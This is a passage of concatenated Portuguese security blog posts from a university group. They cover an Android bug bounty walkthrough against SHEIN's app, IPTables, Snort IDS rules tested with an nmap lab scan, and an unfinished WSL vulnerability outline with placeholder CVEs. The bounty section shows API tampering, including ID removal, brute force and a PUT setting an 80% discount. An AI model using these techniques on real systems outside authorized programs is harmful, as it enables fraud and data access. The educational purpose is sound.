reconhecimento público dos pesquisadores, seja por meio de um hall da fama ou de divulgação responsável, também é uma prática comum para destacar suas contribuições. III. Alguns tópicos adicionais relevantes para o bug bounty em Android: Ferramentas comuns utilizadas em bug bounty em Android:\nDrozer é uma ferramenta de segurança de aplicativos Android que ajuda os pesquisadores a encontrar vulnerabilidades e realizar testes de segurança. Frida é uma estrutura de injeção de código que permite manipulação dinâmica de aplicativos Android para identificar vulnerabilidades ou contornar medidas de segurança. MobSF (Mobile Security Framework) é uma estrutura de teste de segurança que automatiza a análise estática e dinâmica de aplicativos Android para identificar vulnerabilidades conhecidas e desconhecidas. Melhores práticas para mitigação de vulnerabilidades em aplicativos Android:\nUso seguro de APIs é fundamental que os desenvolvedores implementem corretamente as APIs do Android, evitando o uso inadequado que possa levar a vulnerabilidades. Criptografia adequada é necessária para os dados sensíveis, tanto em repouso quanto em trânsito, para protegê-los contra acesso não autorizado. Validação de entrada, todos os dados de entrada devem ser validados e sanitizados corretamente para evitar ataques de injeção de código, como SQL injection ou XSS. Atualizações regulares, os desenvolvedores devem fornecer atualizações de segurança regulares para corrigir vulnerabilidades conhecidas e melhorar a segurança geral do aplicativo. Desafios e limitações do bug bounty em Android:\nSurgimento de técnicas de evasão de segurança, hackers estão constantemente desenvolvendo novas técnicas para evitar a detecção de vulnerabilidades em aplicativos Android, o que pode dificultar a descoberta de vulnerabilidades. Complexidade de encontrar vulnerabilidades em dispositivos móveis, como os dispositivos móveis são altamente diversificados em termos de hardware, sistema operacional e aplicativos, o que torna o processo de encontrar vulnerabilidades mais complexo em comparação com plataformas tradicionais. Top 3 vulnerabilidades de API encontradas em 2023 pela OWASP:\nAPI1:2023 - Broken Object Level Authorization As APIs tendem a expor endpoints que lidam com identificadores de objeto, criando uma ampla superfície de ataque de problemas de controle de acesso em nível de objeto. As verificações de autorização em nível de objeto devem ser consideradas em todas as funções que acessam uma fonte de dados usando um ID do usuário. API2:2023 - Broken Authentication Os mecanismos de autenticação geralmente são implementados incorretamente, permitindo que os invasores comprometam os tokens de autenticação ou explorem falhas de implementação para assumir as identidades de outros usuários temporária ou permanentemente. Comprometer a capacidade de um sistema de identificar o cliente/usuário compromete a segurança geral da API. API3:2023 - Broken Object Property Level Authorization Esta categoria combina API3:2019 Excessive Data Exposure e API6:2019 - Mass Assignment, com foco na causa raiz: a falta ou validação inadequada de autorização no nível da propriedade do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. IV. Começando um Bug Bounty: 1 - Plataformas para Bug Bounty:\nExistem diversas plataformas que podemos usar para escolhermos o programa desejado, umas das principais são:\nBug Hunters da Google, em que disponibiliza programas de Bug Bounty tanto para aplicativos da Google como para aplicativos populares de outras plataformas. Hackerone, em que fazem CTF que podem te dar convites caso ache as flags, tem muitos programas nesta plataforma, porém têm muitas pessoas utilizando o que pode dificultar. Bugcrowd também é uma plataforma muito grande com diversos programas e usuários, que oferece ajuda quando se escreve um report inválido com comentários. Além de Itigriti, Synack e muitas outras plataformas que se pode escolher que se encaixe melhor com suas preferências. 2 - Programa de escolha:\nPara escolher um programa é importante saber qual é o seu tipo de preferência, muitas pessoas dão preferência por programas que tenham o escopo grande, e que tenham muitas funcionalidades.\n3 - Bug Bounty ou VDP:\nO Vulnerability Disclosure Program (VDP) é uma iniciativa que estabelece um canal formal para relatar vulnerabilidades de forma ética e responsável, VDP é ótimo para iniciantes na área. O Bug Bounty é uma modalidade dentro do VDP, onde empresas oferecem recompensas, como dinheiro, para pesquisadores que encontram e relatam vulnerabilidades específicas. Ambos os programas visam melhorar a segurança, permitindo a identificação e correção de falhas antes que causem danos. São uma forma de incentivar a colaboração e proteger legalmente os pesquisadores que ajudam a aprimorar a segurança das organizações. 4 - Uma estratégia para Bug Bounty Android:\nEstudo do programa em sua utilização normal para se saber bem o funcionamento do programa. Busca por informações sensíveis em logs. Procurar por informações sensíveis hardcoded. Busca por informações sensíveis guardadas de forma insegura. Testar por vulnerabilidades de injeção. Procurar por vulnerabilidades de controle de acesso. Verificar se há buffer overflow em bibliotecas externas. Executar metodologias de testes API. Assim como utilizar ferramentas de scan automatizado. 5 - Por fim, vamos fazer um passo a passo de uma tentativa de Bug Bounty:\nComeçamos procurando um programa de Bug Bounty que tenhamos interesse, nesse caso escolhemos o programa do app da SHEIN oferecido no Hackerone.\nComo o foco deste trabalho é em Android, vamos escolher o escopo com o tipo de ‘Android: Play Store’.\nClicando no hipertexto ‘SHEIN-Fashion Shopping Online’ somos direcionados para a página da SHEIN na Play Store. Agora precisamos do .apk do aplicativo para conseguirmos colocar em nosso emulador de Android, para isso podemos colocar o endereço da página da Play Store neste site: https://apps.evozi.com/apk-downloader/ para conseguirmos baixar o .apk.\nCom o .apk baixado podemos instalá-lo em nosso emulador com os comandos adb push e adb install. Com o apk instalado podemos começar nosso processo para encontrar bugs. Antes de tudo, vamos usar um pouco o aplicativo e ficar familiarizado com todas suas funcionalidades de processos. Podemos fazer isso com o logcat rodando de fundo para que possamos analisar se há alguma informação importante sendo mostrada no log, como erros por exemplo.\nApós isso, podemos procurar por informações hardcoded com o Jadx como chaves secretas, senhas e qualquer outra informação que não deveria estar em hardcode.\nNeste caso não encontrei nada do tipo, portanto iremos procurar informações sensíveis armazenadas de forma insegura. Podemos ir em shared preferences em /data/data/com.zzkko/shared_prefs e procurar alguma informação. Também podemos ir em databases em /data/data/com.zzkko/databases.\nPodemos também tentar vulnerabilidades de injeção SQL, porém não vi como aplicar neste caso. Depois de tentarmos encontrar vulnerabilidades de controle de acesso e buffer overflow em bibliotecas externas vamos tentar atacar de outra forma.\nVamos realizar testes de API, para isso vamos entrar no Burp Suite.Vamos entrar no emulador com o proxy específico para ele, então teremos que abri-lo com ‘emulator -avd oreo -writable-system -http-proxy 192.168.1.18:8081’.\nA primeira coisa que temos que fazer é procurar e estudar os endpoints, fazer uma tabela no Exel por exemplo ajuda, mas pode ser bloco de notas, papel ou o que for melhor. Estando familiarizado com os endpoints podemos fazer uma abordagem mais organizada.\nPodemos começar com este, já que envolve produtos e tem bastante informação no Response. As abas que usaremos serão basicamente a aba Target, Repeater e Intruder.\nEm Target selecionamos um endpoint que desejamos verificar para enviar para a aba Repeater. Em Repeater Conseguimos manipular os Requests e Responses, Ex.: GET /api/users/6 HTTP/1.1 Pode mudar este header para: GET /api/users/ HTTP/1.1 E com isso ver o Respose de todos os usuários no lugar de somente o usuário com id 6. Em Intruder podemos realizar Brute Force, e enviar requisições desejadas para variáveis específicas (Ex.: users, id, etc). Pode adicionar o playload desejado marcando a variável e apertando em \u0026lsquo;add $\u0026rsquo;. E com isso selecionar as palavras chave que desejamos para o brute force.\nPodemos agora tentar alterar diretamente no Repeater para conseguirmos enviar o que queremos, como por exemplo no lugar de GET colocarmos PUT para alterar o valor de algo que desejamos.\nPara isso precisamos fazer um pequeno código em json utilizando ‘Content-Type:application/json’ para fazer um código json funcionar Ex.: {\u0026ldquo;discount\u0026rdquo;:80}\nComo muitos aplicativos e programas podem ser muito grandes e com muitas funcionalidades podemos usar ferramentas para fazer análises automatizadas. É importante notar que sempre precisamos verificar o que essa ferramenta automatizada nos aponta como falha de segurança ou vulnerabilidade se realmente tal linha de código apresenta um risco ou se a vulnerabilidade não se aplica para o contexto do programa.\nA ferramenta que usaremos será MobSF para conseguirmos um relatório completo:\nMobSF tem diversas funcionalidades, e explicitadas de uma forma muito amigável para o usuário. Com o resumo geral da classificação do aplicativo logo no começo, e conforme for descendo na página é mostrado em detalhe cada característica específica da análise, que também pode ser acessada pelo painel a esquerda.\nAlguns pontos que podemos destacar nesta análise são network security:\nQue deixa texto puro trafegar por todos os domínios. Na análise do AndroidManifest podemos ver que aparentemente existe risco de algum tipo de abuso pelos intents, além de alguns outros avisos e outras informações achadas no app.\nSites importantes:\nhttps://bughunters.google.com/\nhttps://blog.oversecured.com/\nhttps://www.hackerone.com/\nhttps://owasp.org/\nhttps://www.bugcrowd.com/\nhttps://www.intigriti.com/\n","permalink":"http://grisufrj.github.io/blog/2024-01-08-bug-bounty-android/","summary":"Introdução Bug bounty em Android é um programa no qual empresas ou desenvolvedores oferecem recompensas para pessoas que descobrem e relatam vulnerabilidades de segurança em seus aplicativos ou sistemas operacionais Android. Neste trabalho, abordaremos os principais tópicos relacionados a bug bounty em Android, incluindo a importância do programa, as etapas envolvidas, técnicas comuns de testes de segurança e melhores práticas.\nI. Importância do Bug Bounty em Android: A crescente importância da segurança no ecossistema Android é impulsionada pelo aumento do número de ameaças cibernéticas direcionadas a dispositivos móveis.","title":"Bug bounty android: Um breve guia de um bug bounty em Android"},{"content":"RESUMO Este trabalho tem como objetivo apresentar uma análise detalhada sobre o IPTables, uma ferramenta de firewall amplamente utilizada no sistema operacional Linux, com foco em sua eficácia na proteção e segurança de redes. Através de uma abordagem baseada na estrutura do modelo OSI (Open Systems Interconnection), este documento explora o conceito do IPTables, sua função, importância e modos de funcionamento. Além disso, são destacadas suas configurações e exemplos reais de como essa ferramenta atua na proteção contra diversos tipos de ataques cibernéticos.\nINTRODUÇÃO O objetivo dessa postagem é apresentar uma análise detalhada do IPTables, uma ferramenta de firewall amplamente utilizada para proteção e segurança de redes. Serão abordados conceitos fundamentais sobre o IPTables, suas principais funcionalidades, sua importância na proteção de sistemas e exemplos reais de como essa ferramenta atuou de forma eficaz na defesa contra ataques.\nO QUE É O IPTABLES? O IPTables é uma ferramenta de firewall que faz parte do conjunto de utilitários do kernel Linux. Sua função principal é filtrar e controlar o tráfego de rede, permitindo ou bloqueando pacotes de acordo com regras estabelecidas pelo administrador do sistema. Ele atua na camada de filtragem de pacotes do modelo OSI (Open Systems Interconnection), permitindo que os administradores definam políticas de segurança personalizadas.\nPARA QUE SERVE O IPTABLES? O IPTables serve para proteger sistemas e redes contra diversos tipos de ameaças, como tentativas de acesso não autorizado, ataques de negação de serviço (DDoS), invasões, entre outros. Ao configurar regras específicas, o IPTables controla o tráfego de entrada e saída da rede, garantindo que apenas pacotes legítimos sejam processados e enviados para seus destinos.\nCOMO FUNCIONA O IPTABLES? O IPTables funciona de forma baseada em tabelas e correntes (chains). Quando um pacote é recebido ou enviado, ele passa por uma série de regras especificadas nas correntes, que decidem se o pacote deve ser aceito, rejeitado, descartado ou encaminhado para outra corrente para análise adicional. Cada regra contém critérios como endereço IP de origem e destino, número da porta, protocolo e interface de rede. O IPTables opera com os seguintes conjuntos principais de correntes: INPUT, OUTPUT e FORWARD.\nIMPORTÂNCIA DO IPTABLES O IPTables desempenha um papel fundamental na proteção de sistemas e redes, ajudando a prevenir ataques e garantindo a segurança dos dados. Sua importância reside na capacidade de bloquear tráfego malicioso, reduzindo a superfície de ataque e permitindo que os administradores de rede tenham controle total sobre a comunicação de entrada e saída.\nCONFIGURAÇÕES DO IPTABLES As configurações do IPTables podem ser feitas através da linha de comando ou por meio de scripts. É importante destacar que a correta configuração das regras requer um profundo entendimento do funcionamento da ferramenta e dos requisitos específicos do sistema ou rede a serem protegidos. Abaixo estão alguns exemplos de comandos para configurar regras básicas:\nExemplo 1: Permitir tráfego HTTP (porta 80) de entrada:\n1 iptables -A INPUT -p tcp --dport 80 -j ACCEPT Exemplo 2: Bloquear tráfego SSH (porta 22) de entrada:\n1 iptables -A INPUT -p tcp --dport 22 -j DROP EXEMPLOS REAIS DE PROTEÇÃO COM IPTABLES Ataque 1: Ataque de Força Bruta ao SSH\nDescrição: Um servidor Linux exposto à internet foi alvo de um ataque de força bruta ao serviço SSH. Os atacantes tentavam adivinhar as credenciais de acesso por meio de múltiplas tentativas de login com senhas diferentes.\nAção do IPTables: Foram configuradas regras para limitar o número de tentativas de login por IP em um determinado período de tempo. Após um número específico de tentativas fracassadas, o IPTables bloqueava temporariamente o IP do atacante, impedindo-o de continuar o ataque.\nAtaque 2: Ataque de Negação de Serviço Distribuído (DDoS)\nDescrição: Um servidor web foi alvo de um ataque DDoS, onde um grande volume de tráfego malicioso foi enviado de várias fontes para sobrecarregar os recursos do servidor e torná-lo inacessível.\nAção do IPTables: O IPTables foi configurado para filtrar e bloquear tráfego malicioso, como pacotes com IPs de origem suspeitos ou com características típicas de ataques DDoS. Isso permitiu ao servidor descartar pacotes maliciosos antes que eles atingissem a aplicação, minimizando o impacto do ataque.\nAtaque 3: Bloqueio de Tráfego Malicioso\nDescrição: Um servidor de e-commerce foi alvo de uma campanha de spam, onde milhares de solicitações de cadastros falsos foram enviadas ao sistema para sobrecarregar os recursos e comprometer a integridade dos dados.\nAção do IPTables: O IPTables foi configurado para bloquear pacotes de entrada provenientes de IPs suspeitos associados aos ataques de spam, permitindo que apenas tráfego legítimo de clientes fosse processado.\nAtaque 4: Proteção contra Scanners de Portas\nDescrição: Um servidor de jogos online foi alvo de uma varredura de portas em busca de vulnerabilidades para explorar.\nAção do IPTables: O IPTables foi configurado para limitar o número de conexões de entrada para determinadas portas, impedindo o escaneamento excessivo e reduzindo a visibilidade do servidor para possíveis atacantes.\nAtaque 5: Mitigação de Ataques SYN Flood\nDescrição: Um servidor web foi alvo de um ataque SYN flood, onde um grande número de solicitações de conexões inacabadas foi enviado, esgotando os recursos da pilha TCP/IP.\nAção do IPTables: O IPTables foi configurado para implementar limites de conexão SYN, evitando que um único IP abrisse um número excessivo de conexões não concluídas.\nAtaque 6: Prevenção de Ping da Morte (Ping of Death)\nDescrição: Um servidor foi alvo de um ataque \u0026ldquo;ping da morte\u0026rdquo;, onde pacotes ICMP manipulados foram enviados para causar travamentos no sistema.\nAção do IPTables: O IPTables foi configurado para bloquear pacotes ICMP de tamanho inválido, protegendo contra o ataque \u0026ldquo;ping da morte\u0026rdquo;.\nAtaque 7: Bloqueio de Tráfego Malicioso de Saída\nDescrição: Um servidor comprometido estava enviando spam ou realizando atividades maliciosas para outros servidores, prejudicando a reputação do IP.\nAção do IPTables: O IPTables foi configurado para monitorar e bloquear o tráfego de saída associado a atividades suspeitas, ajudando a evitar que o servidor se torne um ponto de origem de ataques ou spams.\nVULNERABILIDADES CONHECIDAS E PREVENÇÃO Embora o IPTables seja uma ferramenta poderosa, ele também pode ter vulnerabilidades que podem ser exploradas por atacantes. Algumas vulnerabilidades conhecidas incluem erros de configuração, regras ineficientes ou incorretas e ataques de evasão. Para prevenir tais problemas, é recomendado:\nManter o IPTables atualizado com as últimas correções e patches de segurança. Limitar o acesso e permissões de configuração apenas a administradores autorizados. Realizar auditorias periódicas nas regras para garantir que elas sejam adequadas e eficazes. Implementar soluções adicionais, como IDS/IPS, para complementar a proteção fornecida pelo IPTables. OUTROS ASPECTOS IMPORTANTES Logging: O IPTables pode ser configurado para gerar logs detalhados de atividades de rede, permitindo uma análise posterior de eventos e facilitando a detecção de possíveis ameaças.\nIPv6: O IPTables suporta tanto IPv4 quanto IPv6, portanto, é fundamental configurar regras de firewall para ambas as versões do protocolo IP para garantir a segurança completa da rede.\nCONCLUSÃO O IPTables é uma ferramenta essencial para garantir a segurança e proteção de sistemas e redes. Sua capacidade de filtrar e controlar o tráfego de rede com base em regras específicas permite a defesa contra diversas ameaças cibernéticas. Ao implementar corretamente o IPTables e manter sua configuração atualizada, os administradores podem aumentar significativamente a segurança do ambiente de rede e minimizar os riscos de violações de segurança.\nREFERÊNCIAS RUSSELL, Michael; QUINLAN, David. Linux Firewalls: Attack Detection and Response with iptables, psad, and fwsnort. No Starch Press, 2017. PURDUM, Jessey. iptables Tutorial. DigitalOcean. https://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands RUSTAD, Neil; SIMON, Murray. Security Sage\u0026rsquo;s Guide to Hardening the Network Infrastructure. Jones \u0026amp; Bartlett Learning, 2004. HOGBEN, Michael. Linux iptables Pocket Reference. O\u0026rsquo;Reilly Media, 2004. XIE, Zhiqiang. Learning IPTables as a Firewall on Linux. Springer, 2018. ","permalink":"http://grisufrj.github.io/blog/2024-01-08-analysis_iptables/","summary":"RESUMO Este trabalho tem como objetivo apresentar uma análise detalhada sobre o IPTables, uma ferramenta de firewall amplamente utilizada no sistema operacional Linux, com foco em sua eficácia na proteção e segurança de redes. Através de uma abordagem baseada na estrutura do modelo OSI (Open Systems Interconnection), este documento explora o conceito do IPTables, sua função, importância e modos de funcionamento. Além disso, são destacadas suas configurações e exemplos reais de como essa ferramenta atua na proteção contra diversos tipos de ataques cibernéticos.","title":"IPTables: Análise detalhada sobre o IPTables"},{"content":"Introdução O objetivo dessa postagem é introduzir o leitor às principais diferenças entre IDS (sistemas de detecção a intrusões) e IPS (sistemas de prevenção a intrusões), destacando a diferença de desempenho e aplicação desses dois sistemas.\nO que é o IDS? O IDS (Sistema de Detecção de Intrusões) é projetado para identificar atividades suspeitas ou comportamentos anômalos na rede. O IDS monitora o tráfego em tempo real em busca de padrões que possam indicar uma ameaça.\nO que é o IPS? Por outro lado, o IPS (Sistema de Prevenção de Intrusões) vai além da detecção, agindo proativamente para bloquear ou impedir atividades maliciosas assim que são identificadas. Ação Tomada:\nDifenças de ação IDS: Um IDS alerta os administradores sobre possíveis ameaças, mas não toma medidas diretas para impedir ou interromper o ataque.\nIPS: Ao contrário, um IPS age automaticamente para bloquear ou prevenir atividades maliciosas assim que são detectadas, contribuindo para uma resposta rápida e eficaz.\nModo de Operação: IDS: Operando em modo passivo, um IDS monitora o tráfego sem interferir diretamente, fornecendo insights valiosos para análise de segurança.\nIPS: Em contrapartida, um IPS opera em modo ativo, intervindo ativamente para evitar que ameaças se materializem em ataques reais.\nImplementação: IDS: Geralmente, os IDS são implementados em ambientes em que a ênfase está na detecção de intrusões, sem a necessidade de intervenção imediata.\nIPS: Já os IPS são preferencialmente implementados em ambientes onde a prevenção é crucial, como em redes corporativas que requerem uma resposta rápida a ameaças.\nDesempenho: IDS: Como os IDS focam na análise de padrões e alertas, eles podem ser menos suscetíveis a falsos positivos, mas, por outro lado, podem ser mais lentos na resposta a ameaças reais.\nIPS: Enquanto isso, os IPS podem ser mais propensos a falsos positivos devido à sua natureza proativa, mas oferecem uma resposta mais rápida e eficaz.\nNos exemplos acima, podemos entender falsos positivos quando o sistema categoriza uma ação como intrusiva, quando na verdade não é.\nApresentando o Snort O snort é um programa que funciona como IDS, para isso, utiliza um conjunto de regras pré estabelecidas para gerar os alertas, essas regras ficam no diretório /etc/snort/rules. Além disso, podemos usar o snort para gerar logs, o arquivo de log gerado pelo snort fica localizado em /var/log/snort/alert.\nComando\n1 snort -A fast -q -h 192.168.0.0/24 -c /etc/snort/snort.conf Explicando o comando:\nEsse comando inicia o Snort em modo de alerta rápido, no modo silencioso, monitorando a rede 192.168.0.0/24 e utilizando o arquivo de configuração localizado em /etc/snort/snort.conf. O Snort estará operando com base nas regras e configurações definidas nesse arquivo, alertando sobre possíveis atividades suspeitas na rede monitorada.\nExplicando as flags:\n-A fast: Especifica o modo de alerta rápido. Nesse modo, o Snort imprime apenas informações essenciais sobre alertas, tornando a saída mais concisa.\n-q: Ativa o modo silencioso (quiet). Isso reduz a quantidade de informações extras que o Snort normalmente exibiria durante a execução.\n-h 192.168.0.0/24: Define a rede alvo para monitoramento. Neste caso, o Snort estará monitorando a rede com o endereço IP de 192.168.0.0 e máscara de sub-rede 255.255.255.0 (ou /24).\n-c /etc/snort/snort.conf: Especifica o arquivo de configuração a ser utilizado. Neste caso, o arquivo de configuração está localizado em /etc/snort/snort.conf. O arquivo de configuração é crucial, pois contém as regras e configurações específicas do Snort.\nVale destacar que o host vai de acordo com a rede que queremos configurar, no meu caso 192.168.0.0/24.\nIP da maquina com snort: 192.168.0.8\nCriando nossa primeira Regra Podemos criar nossa própria regra e salvar no diretório de regras /etc/snort/rules.\nAs regras criadas seguem o seguinte padrão: Para consultar as possíveis opções acesse a Documentação Snort\nDentro do arquivo gris.rules colocamos a regra abaixo e salvamos no diretório /etc/snort/rules\n1 alert tcp any any -\u0026gt; 192.168.0.19 any (msg: \u0026#34;Possivel Port Scanning\u0026#34;; sid:1000001; rev:001;) Vamos editar o arquivo de regras do snort para incluir a regra que criamos\n1 sudo nano /etc/snort/snort.conf OBS: Se executarmos o comando acima sem super usuário não teremos permissão de leitura do arquivo, para conseguir acessar editar o arquivo corretamente, utilize o sudo.\nNo trecho em que há o include de várias regras # Step #7: Customize your rule set, incluimos a regra gris.rules que acabamos de criar.\n1 include $RULE_PATH/gris.rules Log gerado No comando abaixo, iniciamos a captura de log na máquina alvo\n1 snort -A console -q -h 192.168.0.0/24 -c /etc/snort/snort.conf Na máquina atacante, realizando port scan com uso do nmap\n1 nmap -v -sS --top-ports=10 --open -Pn 192.168.0.8 Com isso, registramos o log gerado a partir do port scan realizado\n1 2 3 4 5 6 7 8 9 10 11 12 13 01/09-20:01:35.520242 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:139 01/09-20:01:35.520346 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:23 01/09-20:01:35.520362 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:443 01/09-20:01:35.520418 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:445 01/09-20:01:35.520456 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:3389 01/09-20:01:35.520474 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:25 01/09-20:01:35.520500 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:22 01/09-20:01:35.520535 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:80 01/09-20:01:35.520562 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:110 01/09-20:01:35.520576 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:21 01/09-20:01:35.520624 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:443 01/09-20:01:35.520633 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:80 01/09-20:01:35.520661 [**] [1:1000001:1] Possível Port Scanning [**] [Priority: 0] {TCP} 192.168.0.7:36787 -\u0026gt; 192.168.0.8:21 Falso positivo Obviamente os testes mostrados tratam-se de uma simplificação, já que, segundo o nosso IDS, todas as conexões TCP seriam erroneamente categorizadas como Port Scan.\nRegra 2 Podemos criar uma regra mais realistica. De forma análoga ao que foi feito na regra 1, podemos adicionar uma nova regra no arquivo /etc/snort/rules/gris.rules\n1 2 alert tcp any any -\u0026gt; 192.168.0.8 any (msg: \u0026#34;Possível Port Scanning\u0026#34;;sid:1000001;rev:001;) alert tcp any any -\u0026gt; 192.168.0.8 80 (msg: \u0026#34;Acesso ao arquivo robots.txt\u0026#34;;content:\u0026#34;robots.txt\u0026#34;;sid:1000002; rev:001;) No comando abaixo, iniciamos a captura de log na máquina alvo\n1 snort -A console -q -h 192.168.0.0/24 -c /etc/snort/snort.conf Com isso, na máquina atacante ao acessarmos o endereço 192.168.0.8/robots.txt registramos o log\n1 01/09-20:24:17.287207 [**] [1:1000002:1] Acesso ao arquivo robots.txt [**] [Priority: 0] {TCP} 192.168.0.7:42886 -\u0026gt; 192.168.0.8:80 Ainda que o endereço 192.168.0.8/robots.txt não seja válido, apenas pelo fato de realizarmos a requisição para este endereço o IDS registra o log.\nReferências Documentação 1 do Snort https://docs.snort.org/intro Documentação 2 do Snort http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node1.html GitHub Snort https://github.com/snort3/snort3#documentation ","permalink":"http://grisufrj.github.io/blog/2024-01-08-redes-ips-ids/","summary":"Introdução O objetivo dessa postagem é introduzir o leitor às principais diferenças entre IDS (sistemas de detecção a intrusões) e IPS (sistemas de prevenção a intrusões), destacando a diferença de desempenho e aplicação desses dois sistemas.\nO que é o IDS? O IDS (Sistema de Detecção de Intrusões) é projetado para identificar atividades suspeitas ou comportamentos anômalos na rede. O IDS monitora o tráfego em tempo real em busca de padrões que possam indicar uma ameaça.","title":"Redes: IDS e IPS"},{"content":"RESUMO Este trabalho tem como objetivo apresentar uma análise detalhada sobre as vulnerabilidades doVulnerabilidades do windows subsystem for linux (WSL), uma funcionalidade do sistema operacional Windows que permite aos usuários executar um sistema operacional Linux dentro do próprio sistema operacional Windows. Este trabalho tem o objetivo de explorar as vulnerabilidades do WSL de uma maneira estruturada e detalhada, ajudando a aumentar a conscientização e a segurança em torno desta ferramenta útil, mas potencialmente vulnerável.\nSUMÁRIO Introdução Definição do WSL e sua importância Vantagens e desvantagens do WSL Particularidades do WSL em relação ao Windows e Linux Objetivos do projeto Entendendo o WSL Arquitetura do WSL (WSL 1 e WSL 2) Interação entre o Windows e o sistema operacional Linux no WSL Ferramentas e comandos disponíveis no WSL Abordagem de Vulnerabilidades no WSL Ferramentas e técnicas de análise de vulnerabilidades no WSL Métodos de exploração e explotação de vulnerabilidades no WSL Impacto das vulnerabilidades no WSL e na segurança do sistema Windows subjacente Análise de Vulnerabilidades Classificação de vulnerabilidades no WSL (ex: CVE, CVSS) Categorias de vulnerabilidades no WSL (ex: falhas de segurança, falhas de estabilidade, falhas de desempenho) Métodos de detecção e mitigação de vulnerabilidades no WSL Estudo de casos: Vulnerabilidades do WSL Vulnerabilidade 1: CVE-XXXX-XXXX Descrição da vulnerabilidade Impacto e prejuízos causados Análise técnica da vulnerabilidade (ex: exploração, impacto, mitigação) Correção e atualizações relacionadas Vulnerabilidade 2: CVE-XXXX-XXXX Repetindo os tópicos acima para outra vulnerabilidade relevante do WSL Vulnerabilidade 3: CVE-XXXX-XXXX Repetindo os tópicos acima para uma terceira vulnerabilidade relevante do WSL Práticas Recomendadas para Mitigação de Vulnerabilidades no WSL Boas práticas de segurança no uso do WSL Configurações de segurança recomendadas para o WSL Ferramentas de monitoramento e detecção de ameaças no WSL Conclusão Resumo das principais vulnerabilidades do WSL analisadas Importância da conscientização e mitigação de vulnerabilidades no WSL Perspectivas futuras e tendências na segurança do WSL Referências Citação de todas as fontes utilizadas durante a elaboração do projeto 1. INTRODUÇÃO O Windows Subsystem for Linux (WSL) é uma funcionalidade do sistema operacional Windows que permite aos usuários executar um sistema operacional Linux dentro do próprio sistema operacional Windows, sem a necessidade de uma máquina virtual ou de dual boot. O WSL foi introduzido pela primeira vez no Windows 10 e tem sido aprimorado desde então, com o WSL 2 sendo lançado em 2020.\nO WSL oferece uma maneira conveniente de executar um sistema operacional Linux dentro do Windows, com vantagens e desvantagens em relação ao uso de um sistema operacional Linux nativo ou de uma máquina virtual. Algumas das vantagens do WSL incluem a integração com o Windows, desempenho aprimorado (especialmente com o WSL 2), facilidade de instalação e configuração, e compartilhamento de arquivos entre o Windows e o sistema operacional Linux.\nNo entanto, como qualquer sistema operacional, o WSL também pode apresentar vulnerabilidades e falhas de segurança que precisam ser identificadas e mitigadas. Este projeto tem como objetivo analisar as vulnerabilidades do WSL, explorar como elas funcionam, avaliar seu impacto na segurança do sistema Windows subjacente e apresentar práticas recomendadas para mitigar essas vulnerabilidades.\nOs objetivos específicos deste projeto são:\nEntender a arquitetura do WSL e como ela afeta a segurança do sistema; Identificar e analisar vulnerabilidades conhecidas do WSL; Estudo de caso de vulnerabilidades do WSL, incluindo descrição, impacto, exploração e mitigação; Apresentar práticas recomendadas para mitigar vulnerabilidades no WSL; Contribuir para a conscientização e a segurança do WSL em ambiente educacional. Tenho o objetivo de explorar as vulnerabilidades do WSL de uma maneira estruturada e detalhada, ajudando a aumentar a conscientização e a segurança em torno desta ferramenta útil, mas potencialmente vulnerável.\nExemplo de comando para verificar a versão do WSL: Em um terminal no Windows e digite o seguinte comando para verificar a versão do WSL instalada:\nExemplo de instalação uma distribuição Linux:\n2. ENTENDENDO O WSL Para analisar as vulnerabilidades do Windows Subsystem for Linux (WSL), é fundamental entender sua arquitetura e como ele funciona. Neste item, exploraremos a arquitetura do WSL, a interação entre o Windows e o sistema operacional Linux no WSL, e as ferramentas e comandos disponíveis no WSL.\n2.1 Arquitetura do WSL\nO WSL está disponível em duas versões: WSL 1 e WSL 2. A principal diferença entre elas é a abordagem utilizada para executar o sistema operacional Linux dentro do Windows.\nWSL 1: O WSL 1 utiliza uma camada de compatibilidade para traduzir chamadas do sistema operacional Linux para chamadas do Windows. Isso permite que o WSL 1 execute aplicativos e ferramentas do Linux dentro do Windows, mas com algumas limitações de desempenho e recursos. WSL 2: O WSL 2, lançado em 2020, utiliza uma máquina virtual leve com um kernel do Linux completo. Isso permite que o WSL 2 execute aplicativos e ferramentas do Linux dentro do Windows com um desempenho muito mais próximo do sistema operacional Linux nativo. 2.2 Interação entre o Windows e o sistema operacional Linux no WSL\nNo WSL, o sistema operacional Linux é executado dentro de uma camada de compatibilidade (no WSL 1) ou em uma máquina virtual (no WSL 2). Isso permite que os aplicativos e ferramentas do Linux sejam executados dentro do ambiente Windows, com alguns recursos compartilhados entre os dois sistemas operacionais.\nCompartilhamento de arquivos: O WSL permite o compartilhamento de arquivos e pastas entre o sistema operacional Windows e o sistema operacional Linux. Isso facilita a colaboração e a transferência de arquivos entre os dois sistemas operacionais. Compartilhamento de recursos: No WSL 2, os recursos do sistema, como a rede e o armazenamento, são compartilhados entre o Windows e o sistema operacional Linux. Isso permite que os aplicativos do Linux acessem esses 